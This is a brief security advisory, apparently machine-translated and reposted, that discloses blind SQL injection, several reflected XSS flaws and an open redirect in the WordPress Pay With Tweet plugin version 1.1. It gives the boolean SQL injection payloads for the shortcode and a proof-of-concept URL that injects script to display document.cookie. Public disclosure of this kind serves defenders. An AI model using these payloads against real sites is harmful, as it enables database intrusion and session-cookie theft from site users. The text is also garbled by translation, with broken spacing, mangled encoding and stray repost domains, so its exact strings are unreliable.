Wordpress plugin Pay With Tweet & lt; = more than 1.1 defects and fixes

Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities
Author: Gianluca Brindisi www.2cto.com (gATbrindi. si @ gbrindisi http://brindi.si/g)
: Http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
Affected Versions: 1.1
 
1) Blind SQL Injection in response code:
Short code parameter 'id' is prone to blind sqli,
You need to be able to write a post/page to exploit this:
 
[Paywithtweet id = "1 'AND 1 = 2"]
[Paywithtweet id = "1 'AND 1 = 1"]
 
2) Multiple XSS in pay. php
Http://www.bkjia.com/wp-content/plugins/pay-with-tweet.php/pay. php

After connecting to twitter:
? Link = & 22> </input> [XSS]
After submitting the tweet:
? Title = [XSS] & dl = [REDIRECT-TO-URL] % 27) "> [XSS]
 
The final download link will be replaced with [REDIRECT-TO-URL]
 
POC: pay. php? Link = % 22> </input> <script> alert (document. cookie) </script> & title = <script> alert (document. cookie) </script> & dl = http://brindi.si % 27 "> <script> alert (document. cookie) </script>